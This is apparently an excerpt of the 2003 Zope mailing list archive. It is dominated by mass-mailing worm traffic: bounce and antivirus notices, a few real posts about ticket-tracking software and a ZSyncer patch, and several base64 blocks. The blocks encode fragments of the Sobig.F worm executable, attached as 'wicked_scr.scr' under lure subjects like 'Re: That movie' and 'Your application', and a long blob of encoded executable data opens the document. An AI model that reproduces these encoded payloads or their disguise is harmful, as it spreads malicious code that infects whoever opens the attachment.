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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALUB AABYQzAwMTgxNWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAawIAAFhDMDAxODE1ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHIFAABYQzAwMTgxNWQA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL0IAABYQzAwMTgxNWQ= --_NextPart_000_05D1090D-- From postmaster at hostdrive.net Sat Aug 23 04:39:06 2003 From: postmaster at hostdrive.net (Postmaster) Date: Sat Aug 23 03:08:03 2003 Subject: [Zope] Undeliverable Mail Message-ID: <10308230339.AA00958@hostdrive.net> User mailbox exceeds allowed size: master@hostdrive.net Original message follows. Received: from HNDX-159 [61.137.125.239] by hostdrive.net with ESMTP (SMTPD32-7.12 ) id A15975F04E4; Sat, 23 Aug 2003 03:39:05 +0800 From: To: Subject: Re: That movie Date: Sat, 23 Aug 2003 3:38:55 +0800 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_1D55DA5E" Message-Id: <200308230339593.SM00213@HNDX-159> This is a multipart message in MIME format --_NextPart_000_1D55DA5E Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_1D55DA5E Content-Type: application/octet-stream; name="wicked_scr.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="wicked_scr.scr" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [message truncated] From Nick.Pavlica at echostar.com Fri Aug 22 11:57:52 2003 From: Nick.Pavlica at echostar.com (Pavlica, Nick) Date: Sat Aug 23 03:15:23 2003 Subject: [Zope] Equipment Inventory & Ticket Tracker Message-ID: <1061571471.989.95.camel@localhost.localdomain> All, I'm looking for a good product(s) for ticket tracking and hardware inventory. Thanks! From MAILER-DAEMON at tv2.no Fri Aug 22 20:12:14 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Sat Aug 23 06:05:43 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030822171214.4ADA32774C8@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 424 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030822/38646d71/attachment.bin From postmaster at xpedite.com Fri Aug 22 15:47:16 2003 From: postmaster at xpedite.com (postmaster@xpedite.com) Date: Sat Aug 23 06:21:32 2003 Subject: [Zope] Virus Detected by Network Associates, Inc. Webshield SMTP V4.5 MR1a Message-ID: <200308221838.h7MIc45e018639@mail2.xpedite.com> Xpedite Systems Antivirus Software on antivirus1 detected virus W32/Sobig.f@MM in attachment wicked_scr.scr from and it was Cleaned and Quarantined. From jsilva at ruido-visual.pt Fri Aug 22 16:39:40 2003 From: jsilva at ruido-visual.pt (=?iso-8859-1?Q?J=FAlio?= Silva) Date: Sat Aug 23 07:41:33 2003 Subject: [Zope] Fwd: ZSyncer - Two new features Message-ID: <5.2.1.1.0.20030822153837.04a7d4f0@localhost> Here goes the attach... Best Regards, Julio Silva Ruido Visual, Lda http://www.ruido-visual.pt/ >Date: Fri, 22 Aug 2003 15:37:21 +0100 >To: zope@zope.org >From: J?lio Silva >Subject: ZSyncer - Two new features > >Hi, > >I've been working with zsyncer and two features were a must for me. > >1? RETAIN OWNERSHIP: when a user performs a sync, the objects created on >target/destination either get their ownership from the account used to do >the sync or >from the override (username,password) option on "Edit Server" tab.What I >needed >was for the sync to DO NOT take ownership on synced objects but rather retain >existing ownerhip of the synced objects. > >For this I made changes to ZSyncer/dtml/Edit.dtml and ZSyncer/ZSyncer.py >to be able to have >this feature available. In ZSyncer/dtml/Edit.dtml I added some html form >options to choose this >feature and in ZSyncer/ZSyncer.py I added support for the set_owner >variable used >once in the call to method setObject which can receive the set_owner param. > >IMPORTANT: the option you choose, either take ownership or retain >ownership, this >option must be selected in the same way on source and target servers for >this to work as >expected. Dont ask. > > >2? SELECT ALL: have to sync folders with LOT of objects. I needed a >"select all" button. > >For this I made changes to ZSyncer/dtml/Folder.html to add support for the >"select all" button. >The javascript code was stolen from the "select all" button of Zope's ZMI. > >Please find attached the files with the changes I made to support this two >features. >I used ZSyncer 0.4.6. > >I dont know who maintains the ZSyncer code (Is it Andy on zope.org or >zopezen and others >on sourceforge?), so I'm sending the code to this list, to have some feedback. > >Best Regards, > >Julio Silva >Ruido Visual, Lda >http://www.ruido-visual.pt/ -------------- next part -------------- A non-text attachment was scrubbed... Name: zsyncer_patch.tar.gz Type: application/octet-stream Size: 7182 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/5f63fdc2/zsyncer_patch.tar.obj -------------- next part -------------- --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.507 / Virus Database: 304 - Release Date: 04-08-2003 From Mailer-Daemon at t-online.de Fri Aug 22 07:16:12 2003 From: Mailer-Daemon at t-online.de (Mail Delivery System) Date: Sat Aug 23 08:03:21 2003 Subject: [Zope] Mail delivery failed: returning message to sender Message-ID: <19q3LQ-000uZSC@mailin03.aul.t-online.de> |------------------------- Failed addresses follow: ---------------------| 550 Mailbox quota exceeded / Mailbox voll. |----------- Message text follows: (body too large, truncated) ----------| Received: from CPDEV20 ([12.109.168.132]) by mailin03.sul.t-online.de with esmtp id 19q3LA-1FZzUG0; Fri, 22 Aug 2003 06:15:56 +0200 From: To: Subject: Re: Your application Date: Fri, 22 Aug 2003 0:15:56 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_0D0B0460" X-Seen: false This is a multipart message in MIME format --_NextPart_000_0D0B0460 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_0D0B0460 Content-Type: application/octet-stream; name="wicked_scr.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="wicked_scr.scr" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 